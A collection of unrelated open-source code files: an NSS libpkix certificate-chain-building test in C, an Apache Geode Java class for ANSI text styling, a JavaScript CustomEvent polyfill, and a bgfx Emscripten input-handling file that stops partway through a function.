asciiResult = NULL;
PKIX_TEST_DECREF_BC(cert);
}
}
cleanup:
PKIX_PL_Free(asciiResult, NULL);
PKIX_TEST_DECREF_AC(state);
PKIX_TEST_DECREF_AC(buildResult);
PKIX_TEST_DECREF_AC(procParams);
PKIX_TEST_DECREF_AC(revCheckers);
PKIX_TEST_DECREF_AC(revChecker);
PKIX_TEST_DECREF_AC(certSelParams);
PKIX_TEST_DECREF_AC(certSelector);
PKIX_TEST_DECREF_AC(anchors);
PKIX_TEST_DECREF_AC(anchor);
PKIX_TEST_DECREF_AC(hintCerts);
PKIX_TEST_DECREF_AC(trustedPubKey);
PKIX_TEST_DECREF_AC(certs);
PKIX_TEST_DECREF_AC(cert);
PKIX_TEST_RETURN();
return (pkixTestErrorResult);
}
/* Test with all Certs in the partial list, leaf duplicates the first one */
static PKIX_Error *
testWithDuplicateLeaf(
PKIX_PL_Cert *trustedCert,
PKIX_List *listOfCerts,
PKIX_PL_Cert *targetCert,
PKIX_List *certStores,
PKIX_Boolean testValid,
void *plContext)
{
PKIX_UInt32 numCerts = 0;
PKIX_UInt32 i = 0;
PKIX_TrustAnchor *anchor = NULL;
PKIX_List *anchors = NULL;
PKIX_List *hintCerts = NULL;
PKIX_List *revCheckers = NULL;
PKIX_List *certs = NULL;
PKIX_PL_Cert *cert = NULL;
PKIX_ProcessingParams *procParams = NULL;
PKIX_ComCertSelParams *certSelParams = NULL;
PKIX_CertSelector *certSelector = NULL;
PKIX_PL_PublicKey *trustedPubKey = NULL;
PKIX_RevocationChecker *revChecker = NULL;
PKIX_BuildResult *buildResult = NULL;
PRPollDesc *pollDesc = NULL;
void *state = NULL;
char *asciiResult = NULL;
PKIX_TEST_STD_VARS();
/* create processing params with list of trust anchors */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_TrustAnchor_CreateWithCert(trustedCert, &anchor, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&anchors, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(anchors, (PKIX_PL_Object *)anchor, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_Create(anchors, &procParams, plContext));
/* create CertSelector with target certificate in params */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ComCertSelParams_Create(&certSelParams, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ComCertSelParams_SetCertificate(certSelParams, targetCert, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_CertSelector_Create(NULL, NULL, &certSelector, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_CertSelector_SetCommonCertSelectorParams(certSelector, certSelParams, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetTargetCertConstraints(procParams, certSelector, plContext));
/* create hintCerts */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Object_Duplicate((PKIX_PL_Object *)listOfCerts,
(PKIX_PL_Object **)&hintCerts,
plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetHintCerts(procParams, hintCerts, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetCertStores(procParams, certStores, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&revCheckers, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Cert_GetSubjectPublicKey(trustedCert, &trustedPubKey, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetLength(listOfCerts, &numCerts, plContext));
PKIX_TEST_EXPECT_NO_ERROR(pkix_DefaultRevChecker_Initialize(certStores,
NULL, /* testDate, may be NULL */
trustedPubKey,
numCerts,
&revChecker,
plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(revCheckers, (PKIX_PL_Object *)revChecker, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetRevocationCheckers(procParams, revCheckers, plContext));
#ifdef debuggingWithoutRevocation
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetRevocationEnabled(procParams, PKIX_FALSE, plContext));
#endif
/* build cert chain using processing params and return buildResult */
pkixTestErrorResult = PKIX_BuildChain(procParams,
(void **)&pollDesc,
&state,
&buildResult,
NULL,
plContext);
while (pollDesc != NULL) {
if (PR_Poll(pollDesc, 1, 0) < 0) {
testError("PR_Poll failed");
}
pkixTestErrorResult = PKIX_BuildChain(procParams,
(void **)&pollDesc,
&state,
&buildResult,
NULL,
plContext);
}
if (pkixTestErrorResult) {
if (testValid == PKIX_FALSE) { /* EE */
(void)printf("EXPECTED ERROR RECEIVED!\n");
} else { /* ENE */
testError("UNEXPECTED ERROR RECEIVED");
}
PKIX_TEST_DECREF_BC(pkixTestErrorResult);
goto cleanup;
}
if (testValid == PKIX_TRUE) { /* ENE */
(void)printf("EXPECTED NON-ERROR RECEIVED!\n");
} else { /* EE */
(void)printf("UNEXPECTED NON-ERROR RECEIVED!\n");
}
if (buildResult) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_BuildResult_GetCertChain(buildResult, &certs, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetLength(certs, &numCerts, plContext));
printf("\n");
for (i = 0; i < numCerts; i++) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetItem(certs,
i,
(PKIX_PL_Object **)&cert,
plContext));
asciiResult = PKIX_Cert2ASCII(cert);
printf("CERT[%d]:\n%s\n", i, asciiResult);
/* PKIX_Cert2ASCII used PKIX_PL_Malloc(...,,NULL) */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Free(asciiResult, NULL));
asciiResult = NULL;
PKIX_TEST_DECREF_BC(cert);
}
}
cleanup:
PKIX_PL_Free(asciiResult, NULL);
PKIX_TEST_DECREF_AC(state);
PKIX_TEST_DECREF_AC(buildResult);
PKIX_TEST_DECREF_AC(procParams);
PKIX_TEST_DECREF_AC(revCheckers);
PKIX_TEST_DECREF_AC(revChecker);
PKIX_TEST_DECREF_AC(certSelParams);
PKIX_TEST_DECREF_AC(certSelector);
PKIX_TEST_DECREF_AC(anchors);
PKIX_TEST_DECREF_AC(anchor);
PKIX_TEST_DECREF_AC(hintCerts);
PKIX_TEST_DECREF_AC(trustedPubKey);
PKIX_TEST_DECREF_AC(certs);
PKIX_TEST_DECREF_AC(cert);
PKIX_TEST_RETURN();
return (pkixTestErrorResult);
}
/* Test with all Certs except the leaf in the partial list */
static PKIX_Error *
testWithLeafAndChain(
PKIX_PL_Cert *trustedCert,
PKIX_List *listOfCerts,
PKIX_PL_Cert *targetCert,
PKIX_List *certStores,
PKIX_Boolean testValid,
void *plContext)
{
PKIX_UInt32 numCerts = 0;
PKIX_UInt32 i = 0;
PKIX_TrustAnchor *anchor = NULL;
PKIX_List *anchors = NULL;
PKIX_List *hintCerts = NULL;
PKIX_List *revCheckers = NULL;
PKIX_List *certs = NULL;
PKIX_PL_Cert *cert = NULL;
PKIX_ProcessingParams *procParams = NULL;
PKIX_ComCertSelParams *certSelParams = NULL;
PKIX_CertSelector *certSelector = NULL;
PKIX_PL_PublicKey *trustedPubKey = NULL;
PKIX_RevocationChecker *revChecker = NULL;
PKIX_BuildResult *buildResult = NULL;
PRPollDesc *pollDesc = NULL;
void *state = NULL;
char *asciiResult = NULL;
PKIX_TEST_STD_VARS();
/* create processing params with list of trust anchors */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_TrustAnchor_CreateWithCert(trustedCert, &anchor, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&anchors, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(anchors, (PKIX_PL_Object *)anchor, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_Create(anchors, &procParams, plContext));
/* create CertSelector with target certificate in params */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ComCertSelParams_Create(&certSelParams, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ComCertSelParams_SetCertificate(certSelParams, targetCert, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_CertSelector_Create(NULL, NULL, &certSelector, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_CertSelector_SetCommonCertSelectorParams(certSelector, certSelParams, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetTargetCertConstraints(procParams, certSelector, plContext));
/* create hintCerts */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Object_Duplicate((PKIX_PL_Object *)listOfCerts,
(PKIX_PL_Object **)&hintCerts,
plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_DeleteItem(hintCerts, 0, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetHintCerts(procParams, hintCerts, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetCertStores(procParams, certStores, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&revCheckers, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Cert_GetSubjectPublicKey(trustedCert, &trustedPubKey, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetLength(listOfCerts, &numCerts, plContext));
PKIX_TEST_EXPECT_NO_ERROR(pkix_DefaultRevChecker_Initialize(certStores,
NULL, /* testDate, may be NULL */
trustedPubKey,
numCerts,
&revChecker,
plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(revCheckers, (PKIX_PL_Object *)revChecker, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetRevocationCheckers(procParams, revCheckers, plContext));
#ifdef debuggingWithoutRevocation
PKIX_TEST_EXPECT_NO_ERROR(PKIX_ProcessingParams_SetRevocationEnabled(procParams, PKIX_FALSE, plContext));
#endif
/* build cert chain using processing params and return buildResult */
pkixTestErrorResult = PKIX_BuildChain(procParams,
(void **)&pollDesc,
&state,
&buildResult,
NULL,
plContext);
while (pollDesc != NULL) {
if (PR_Poll(pollDesc, 1, 0) < 0) {
testError("PR_Poll failed");
}
pkixTestErrorResult = PKIX_BuildChain(procParams,
(void **)&pollDesc,
&state,
&buildResult,
NULL,
plContext);
}
if (pkixTestErrorResult) {
if (testValid == PKIX_FALSE) { /* EE */
(void)printf("EXPECTED ERROR RECEIVED!\n");
} else { /* ENE */
testError("UNEXPECTED ERROR RECEIVED");
}
PKIX_TEST_DECREF_BC(pkixTestErrorResult);
goto cleanup;
}
if (testValid == PKIX_TRUE) { /* ENE */
(void)printf("EXPECTED NON-ERROR RECEIVED!\n");
} else { /* EE */
(void)printf("UNEXPECTED NON-ERROR RECEIVED!\n");
}
if (buildResult) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_BuildResult_GetCertChain(buildResult, &certs, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetLength(certs, &numCerts, plContext));
printf("\n");
for (i = 0; i < numCerts; i++) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_GetItem(certs,
i,
(PKIX_PL_Object **)&cert,
plContext));
asciiResult = PKIX_Cert2ASCII(cert);
printf("CERT[%d]:\n%s\n", i, asciiResult);
/* PKIX_Cert2ASCII used PKIX_PL_Malloc(...,,NULL) */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Free(asciiResult, NULL));
asciiResult = NULL;
PKIX_TEST_DECREF_BC(cert);
}
}
cleanup:
PKIX_TEST_DECREF_AC(state);
PKIX_TEST_DECREF_AC(buildResult);
PKIX_TEST_DECREF_AC(procParams);
PKIX_TEST_DECREF_AC(revCheckers);
PKIX_TEST_DECREF_AC(revChecker);
PKIX_TEST_DECREF_AC(certSelParams);
PKIX_TEST_DECREF_AC(certSelector);
PKIX_TEST_DECREF_AC(anchors);
PKIX_TEST_DECREF_AC(anchor);
PKIX_TEST_DECREF_AC(hintCerts);
PKIX_TEST_DECREF_AC(trustedPubKey);
PKIX_TEST_DECREF_AC(certs);
PKIX_TEST_DECREF_AC(cert);
PKIX_TEST_RETURN();
return (pkixTestErrorResult);
}
int
test_buildchain_partialchain(int argc, char *argv[])
{
PKIX_UInt32 actualMinorVersion = 0;
PKIX_UInt32 j = 0;
PKIX_UInt32 k = 0;
PKIX_Boolean ene = PKIX_TRUE; /* expect no error */
PKIX_List *listOfCerts = NULL;
PKIX_List *certStores = NULL;
PKIX_PL_Cert *dirCert = NULL;
PKIX_PL_Cert *trusted = NULL;
PKIX_PL_Cert *target = NULL;
PKIX_CertStore *ldapCertStore = NULL;
PKIX_CertStore *certStore = NULL;
PKIX_PL_String *dirNameString = NULL;
char *dirName = NULL;
PRIntervalTime timeout = PR_INTERVAL_NO_TIMEOUT; /* blocking */
/* PRIntervalTime timeout = PR_INTERVAL_NO_WAIT; =0 for non-blocking */
PKIX_TEST_STD_VARS();
if (argc < 5) {
printUsage();
return (0);
}
startTests("BuildChain");
PKIX_TEST_EXPECT_NO_ERROR(
PKIX_PL_NssContext_Create(0, PKIX_FALSE, NULL, &plContext));
/*
* arguments:
* [optional] -arenas
* [optional] usebind
* servername or servername:port ( - for no server)
* testname
* EE or ENE
* cert directory
* target cert (end entity)
* intermediate certs
* trust anchor
*/
/* optional argument "usebind" for Ldap CertStore */
if (argv[j + 1]) {
if (PORT_Strcmp(argv[j + 1], "usebind") == 0) {
usebind = PKIX_TRUE;
j++;
}
}
if (PORT_Strcmp(argv[++j], "-") == 0) {
useLDAP = PKIX_FALSE;
} else {
serverName = argv[j];
useLDAP = PKIX_TRUE;
}
subTest(argv[++j]);
/* ENE = expect no error; EE = expect error */
if (PORT_Strcmp(argv[++j], "ENE") == 0) {
ene = PKIX_TRUE;
} else if (PORT_Strcmp(argv[j], "EE") == 0) {
ene = PKIX_FALSE;
} else {
printUsage();
return (0);
}
dirName = argv[++j];
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&listOfCerts, plContext));
for (k = ++j; k < ((PKIX_UInt32)argc); k++) {
dirCert = createCert(dirName, argv[k], plContext);
if (k == ((PKIX_UInt32)(argc - 1))) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Object_IncRef((PKIX_PL_Object *)dirCert, plContext));
trusted = dirCert;
} else {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(listOfCerts,
(PKIX_PL_Object *)dirCert,
plContext));
if (k == j) {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_Object_IncRef((PKIX_PL_Object *)dirCert, plContext));
target = dirCert;
}
}
PKIX_TEST_DECREF_BC(dirCert);
}
/* create CertStores */
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_String_Create(PKIX_ESCASCII, dirName, 0, &dirNameString, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_Create(&certStores, plContext));
if (useLDAP == PKIX_TRUE) {
PKIX_TEST_EXPECT_NO_ERROR(createLdapCertStore(serverName, timeout, &ldapCertStore, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(certStores,
(PKIX_PL_Object *)ldapCertStore,
plContext));
} else {
PKIX_TEST_EXPECT_NO_ERROR(PKIX_PL_CollectionCertStore_Create(dirNameString, &certStore, plContext));
PKIX_TEST_EXPECT_NO_ERROR(PKIX_List_AppendItem(certStores, (PKIX_PL_Object *)certStore, plContext));
}
subTest("testWithNoLeaf");
PKIX_TEST_EXPECT_NO_ERROR(testWithNoLeaf(trusted, listOfCerts, target, certStores, ene, plContext));
subTest("testWithDuplicateLeaf");
PKIX_TEST_EXPECT_NO_ERROR(testWithDuplicateLeaf(trusted, listOfCerts, target, certStores, ene, plContext));
subTest("testWithLeafAndChain");
PKIX_TEST_EXPECT_NO_ERROR(testWithLeafAndChain(trusted, listOfCerts, target, certStores, ene, plContext));
cleanup:
PKIX_TEST_DECREF_AC(listOfCerts);
PKIX_TEST_DECREF_AC(certStores);
PKIX_TEST_DECREF_AC(ldapCertStore);
PKIX_TEST_DECREF_AC(certStore);
PKIX_TEST_DECREF_AC(dirNameString);
PKIX_TEST_DECREF_AC(trusted);
PKIX_TEST_DECREF_AC(target);
PKIX_TEST_RETURN();
PKIX_Shutdown(plContext);
endTests("BuildChain");
return (0);
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.management.internal.cli.shell.jline;
/**
* Overrides jline.History to add History without newline characters.
*
* @since GemFire 7.0
*/
public class ANSIHandler {
private boolean isAnsiEnabled;
public ANSIHandler(boolean isAnsiEnabled) {
this.isAnsiEnabled = isAnsiEnabled;
}
public static ANSIHandler getInstance(boolean isAnsiSupported) {
return new ANSIHandler(isAnsiSupported);
}
public boolean isAnsiEnabled() {
return isAnsiEnabled;
}
public String decorateString(String input, ANSIStyle... styles) {
String decoratedInput = input;
if (isAnsiEnabled()) {
ANSIBuffer ansiBuffer = ANSIBuffer.getANSIBuffer();
for (ANSIStyle ansiStyle : styles) {
switch (ansiStyle) {
case RED:
ansiBuffer.red(input);
break;
case BLUE:
ansiBuffer.blue(input);
break;
case GREEN:
ansiBuffer.green(input);
break;
case BLACK:
ansiBuffer.black(input);
break;
case YELLOW:
ansiBuffer.yellow(input);
break;
case MAGENTA:
ansiBuffer.magenta(input);
break;
case CYAN:
ansiBuffer.cyan(input);
break;
case BOLD:
ansiBuffer.bold(input);
break;
case UNDERSCORE:
ansiBuffer.underscore(input);
break;
case BLINK:
ansiBuffer.blink(input);
break;
case REVERSE:
ansiBuffer.reverse(input);
break;
default:
break;
}
}
decoratedInput = ansiBuffer.toString();
}
return decoratedInput;
}
public static enum ANSIStyle {
RED, BLUE, GREEN, BLACK, YELLOW, MAGENTA, CYAN, BOLD, UNDERSCORE, BLINK, REVERSE;
}
}
| {
"pile_set_name": "Github"
} |
var NativeCustomEvent = global.CustomEvent;
function useNative () {
try {
var p = new NativeCustomEvent('cat', { detail: { foo: 'bar' } });
return 'cat' === p.type && 'bar' === p.detail.foo;
} catch (e) {
}
return false;
}
/**
* Cross-browser `CustomEvent` constructor.
*
* https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent.CustomEvent
*
* @public
*/
module.exports = useNative() ? NativeCustomEvent :
// IE >= 9
'undefined' !== typeof document && 'function' === typeof document.createEvent ? function CustomEvent (type, params) {
var e = document.createEvent('CustomEvent');
if (params) {
e.initCustomEvent(type, params.bubbles, params.cancelable, params.detail);
} else {
e.initCustomEvent(type, false, false, void 0);
}
return e;
} :
// IE <= 8
function CustomEvent (type, params) {
var e = document.createEventObject();
e.type = type;
if (params) {
e.bubbles = Boolean(params.bubbles);
e.cancelable = Boolean(params.cancelable);
e.detail = params.detail;
} else {
e.bubbles = false;
e.cancelable = false;
e.detail = void 0;
}
return e;
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2011-2018 Branimir Karadzic. All rights reserved.
* License: https://github.com/bkaradzic/bgfx#license-bsd-2-clause
*/
#include "entry_p.h"
#if BX_PLATFORM_EMSCRIPTEN
#include <emscripten.h>
#include <emscripten/html5.h>
extern "C" void entry_emscripten_yield()
{
// emscripten_sleep(0);
}
namespace entry
{
static WindowHandle s_defaultWindow = { 0 };
static uint8_t s_translateKey[256];
struct Context
{
Context()
: m_scrollf(0.0f)
, m_mx(0)
, m_my(0)
, m_scroll(0)
{
bx::memSet(s_translateKey, 0, sizeof(s_translateKey));
s_translateKey[27] = Key::Esc;
s_translateKey[uint8_t('\n')] =
s_translateKey[uint8_t('\r')] = Key::Return;
s_translateKey[uint8_t('\t')] = Key::Tab;
s_translateKey[127] = Key::Backspace;
s_translateKey[uint8_t(' ')] = Key::Space;
s_translateKey[38] = Key::Up;
s_translateKey[40] = Key::Down;
s_translateKey[37] = Key::Left;
s_translateKey[39] = Key::Right;
s_translateKey[uint8_t('+')] =
s_translateKey[uint8_t('=')] = Key::Plus;
s_translateKey[uint8_t('_')] =
s_translateKey[uint8_t('-')] = Key::Minus;
s_translateKey[uint8_t(':')] =
s_translateKey[uint8_t(';')] = Key::Semicolon;
s_translateKey[uint8_t('"')] =
s_translateKey[uint8_t('\'')] = Key::Quote;
s_translateKey[uint8_t('{')] =
s_translateKey[uint8_t('[')] = Key::LeftBracket;
s_translateKey[uint8_t('}')] =
s_translateKey[uint8_t(']')] = Key::RightBracket;
s_translateKey[uint8_t('<')] =
s_translateKey[uint8_t(',')] = Key::Comma;
s_translateKey[uint8_t('>')] =
s_translateKey[uint8_t('.')] = Key::Period;
s_translateKey[uint8_t('?')] =
s_translateKey[uint8_t('/')] = Key::Slash;
s_translateKey[uint8_t('|')] =
s_translateKey[uint8_t('\\')] = Key::Backslash;
s_translateKey[uint8_t('~')] =
s_translateKey[uint8_t('`')] = Key::Tilde;
s_translateKey[uint8_t('0')] = Key::Key0;
s_translateKey[uint8_t('1')] = Key::Key1;
s_translateKey[uint8_t('2')] = Key::Key2;
s_translateKey[uint8_t('3')] = Key::Key3;
s_translateKey[uint8_t('4')] = Key::Key4;
s_translateKey[uint8_t('5')] = Key::Key5;
s_translateKey[uint8_t('6')] = Key::Key6;
s_translateKey[uint8_t('7')] = Key::Key7;
s_translateKey[uint8_t('8')] = Key::Key8;
s_translateKey[uint8_t('9')] = Key::Key9;
for (char ch = 'a'; ch <= 'z'; ++ch)
{
s_translateKey[uint8_t(ch)] =
s_translateKey[uint8_t(ch - ' ')] = Key::KeyA + (ch - 'a');
}
}
int32_t run(int _argc, const char* const* _argv)
{
emscripten_set_mousedown_callback("#canvas", this, true, mouseCb);
emscripten_set_mouseup_callback("#canvas", this, true, mouseCb);
emscripten_set_mousemove_callback("#canvas", this, true, mouseCb);
emscripten_set_wheel_callback("#canvas", this, true, wheelCb);
emscripten_set_keypress_callback(NULL, this, true, keyCb);
emscripten_set_keydown_callback(NULL, this, true, keyCb);
emscripten_set_keyup_callback(NULL, this, true, keyCb);
emscripten_set_resize_callback(0, this, true, resizeCb);
EmscriptenFullscreenStrategy fullscreenStrategy = {};
fullscreenStrategy.scaleMode = EMSCRIPTEN_FULLSCREEN_SCALE_DEFAULT;
fullscreenStrategy.canvasResolutionScaleMode = EMSCRIPTEN_FULLSCREEN_CANVAS_SCALE_NONE;
fullscreenStrategy.filteringMode = EMSCRIPTEN_FULLSCREEN_FILTERING_DEFAULT;
fullscreenStrategy.canvasResizedCallback = canvasResizeCb;
fullscreenStrategy.canvasResizedCallbackUserData = this;
emscripten_request_fullscreen_strategy("#canvas", false, &fullscreenStrategy);
emscripten_set_focus_callback(NULL, this, true, focusCb);
emscripten_set_focusin_callback(NULL, this, true, focusCb);
emscripten_set_focusout_callback(NULL, this, true, focusCb);
int32_t result = main(_argc, _argv);
return result;
}
static EM_BOOL mouseCb(int eventType, const EmscriptenMouseEvent* event, void* userData);
static EM_BOOL wheelCb(int eventType, const EmscriptenWheelEvent* event, void* userData);
static EM_BOOL keyCb(int eventType, const EmscriptenKeyboardEvent* event, void* userData);
static EM_BOOL resizeCb(int eventType, const EmscriptenUiEvent* event, void* userData);
static EM_BOOL canvasResizeCb(int eventType, const void* reserved, void* userData);
static EM_BOOL focusCb(int eventType, const EmscriptenFocusEvent* event, void* userData);
EventQueue m_eventQueue;
float m_scrollf;
int32_t m_mx;
int32_t m_my;
int32_t m_scroll;
};
static Context s_ctx;
EM_BOOL Context::mouseCb(int eventType, const EmscriptenMouseEvent* event, void* userData)
{
BX_UNUSED(userData);
if (event)
{
switch (eventType)
{
case EMSCRIPTEN_EVENT_MOUSEMOVE:
{
s_ctx.m_mx = event->canvasX;
s_ctx.m_my = event->canvasY;
s_ctx.m_eventQueue.postMouseEvent(s_defaultWindow, s_ctx.m_mx, s_ctx.m_my, s_ctx.m_scroll);
return true;
}
case EMSCRIPTEN_EVENT_MOUSEDOWN:
case EMSCRIPTEN_EVENT_MOUSEUP:
case EMSCRIPTEN_EVENT_DBLCLICK:
{
s_ctx.m_mx = event->canvasX;
s_ctx.m_my = event->canvasY;
MouseButton::Enum mb = (event->button == 2) ? MouseButton::Right : ((event->button == 1) ? MouseButton::Middle : MouseButton::Left);
s_ctx.m_eventQueue.postMouseEvent(s_defaultWindow, s_ctx.m_mx, s_ctx.m_my, s_ctx.m_scroll, mb, (eventType != EMSCRIPTEN_EVENT_MOUSEUP));
return true;
}
}
}
return false;
}
EM_BOOL Context::wheelCb(int eventType, const EmscriptenWheelEvent* event, void* userData)
{
BX_UNUSED(userData);
if (event)
{
switch (eventType)
{
case EMSCRIPTEN_EVENT_WHEEL:
{
s_ctx.m_scrollf += event->deltaY;
s_ctx.m_scroll = (int32_t)s_ctx.m_scrollf;
s_ctx.m_eventQueue.postMouseEvent(s_defaultWindow, s_ctx.m_mx, s_ctx.m_my, s_ctx.m_scroll);
return true;
}
}
}
return false;
}
uint8_t translateModifiers(const EmscriptenKeyboardEvent* event)
{
uint8_t mask = 0;
if (event->shiftKey)
mask |= Modifier::LeftShift | Modifier::RightShift;
if (event->altKey)
mask |= Modifier::LeftAlt | Modifier::RightAlt;
if (event->ctrlKey)
mask |= Modifier::LeftCtrl | Modifier::RightCtrl;
if (event->metaKey)
mask |= Modifier::LeftMeta | Modifier::RightMeta;
return mask;
}
Key::Enum handleKeyEvent(const EmscriptenKeyboardEvent* event, uint8_t* specialKeys, uint8_t* _pressedChar)
{
*_pressedChar = (uint8_t)event->keyCode;
int keyCode = (int)event->keyCode;
*specialKeys = translateModifiers(event);
if (event->charCode == 0)
{
switch (keyCode)
{
case 112: return Key::F1;
case 113: return Key::F2;
case 114: return Key::F3;
case 115: return Key::F4;
case 116: return Key::F5;
case 117: return Key::F6;
case 118: return Key::F7;
case 119: return Key::F8;
case 120: return Key::F9;
case 121: return Key::F10;
case 122: return Key::F11;
case 123: return Key::F12;
case 37: return Key::Left;
case 39: return Key::Right;
case 38: return Key::Up;
case 40: return Key::Down;
}
}
// if this is a unhandled key just return None
if (keyCode < 256)
{
return (Key::Enum)s_translateKey[keyCode];
}
return Key::None;
}
EM_BOOL Context::keyCb(int eventType, const EmscriptenKeyboardEvent *event, void *userData)
{
BX_UNUSED(userData);
if (event)
{
uint8_t modifiers = 0;
uint8_t pressedChar[4];
Key::Enum key = handleKeyEvent(event, &modifiers, &pressedChar[0]);
// Returning true means that we take care of the key (instead of the default behavior)
if (key != Key::None)
{
switch (eventType)
{
case EMSCRIPTEN_EVENT_KEYPRESS:
case EMSCRIPTEN_EVENT_KEYDOWN:
{
if (key == Key::KeyQ && (modifiers & Modifier::RightMeta) )
{
s_ctx.m_eventQueue.postExitEvent();
}
else
{
enum { ShiftMask = Modifier::LeftShift|Modifier::RightShift };
s_ctx.m_eventQueue.postCharEvent(s_defaultWindow, 1, pressedChar);
s_ctx.m_eventQueue.postKeyEvent(s_defaultWindow, key, modifiers, true);
return true;
}
break;
}
case EMSCRIPTEN_EVENT_KEYUP:
{
s_ctx.m_eventQueue.postKeyEvent(s_defaultWindow, key, modifiers, false);
return true;
}
}
}
}
return false;
}
EM_BOOL Context::resizeCb(int eventType, const EmscriptenUiEvent* event, void* userData)
{
BX_UNUSED(eventType, event, userData);
return false;
}
EM_BOOL Context::canvasResizeCb(int eventType, const void* reserved, void* userData)
{
BX_UNUSED(eventType, reserved, userData);
return false;
}
EM_BOOL Context::focusCb(int eventType, const EmscriptenFocusEvent* event, void* userData)
{
printf("focusCb %d", eventType);
BX_UNUSED(event, userData);
if (event)
{
switch (eventType)
{
case EMSCRIPTEN_EVENT_BLUR:
{
s_ctx.m_eventQueue.postSuspendEvent(s_defaultWindow, Suspend::DidSuspend);
return true;
}
case EMSCRIPTEN_EVENT_FOCUS:
{
s_ctx.m_eventQueue.postSuspendEvent(s_defaultWindow, Suspend::DidResume);
return true;
}
case EMSCRIPTEN_EVENT_FOCUSIN:
{
s_ctx.m_eventQueue.postSuspendEvent(s_defaultWindow, Suspend::WillResume);
return true;
}
case EMSCRIPTEN_EVENT_FOCUSOUT:
{
s_ctx.m_eventQueue.postSuspendEvent(s_defaultWindow, Suspend::WillSuspend);
return true;
}
}
}
return false;
}
const Event* poll()
{
entry_emscripten_yield();
return s_ctx.m_eventQueue.poll();
}
const Event* poll(WindowHandle _handle)
{
entry_emscripten_yield();
return s_ctx.m_eventQueue.poll(_handle);
}
void release(const Event* _event)
{
s_ctx.m_eventQueue.release(_event);
}
WindowHandle createWindow(int32_t _x, int32_t _y, uint32_t _width, uint32_t _height, uint32_t _flags, const char* _title)
{
BX_UNUSED(_x, _y, _width, _height, _flags, _title);
WindowHandle handle = { UINT16_MAX };
return handle;
}
void destroyWindow(WindowHandle _handle)
{
BX_UNUSED(_handle);
}
void setWindowPos(WindowHandle _handle, int32_t _x, int32_t _y)
{
BX_UNUSED(_handle, _x, _y);
}
void setWindowSize(WindowHandle _handle, uint32_t _width, uint32_t _height)
{
BX_UNUSED(_handle, _width, _height);
}
void setWindowTitle(WindowHandle _handle, const char* _title)
{
BX_UNUSED(_handle, _title);
}
void setWindowFlags(WindowHandle _handle, uint32_t _flags, bool _enabled)
{
BX_UNUSED(_handle, _flags, _enabled);
}
void toggleFullscreen(WindowHandle _handle)
{
BX_UNUSED(_handle);
}
void setMouseLock(WindowHandle _handle, bool _lock)
{
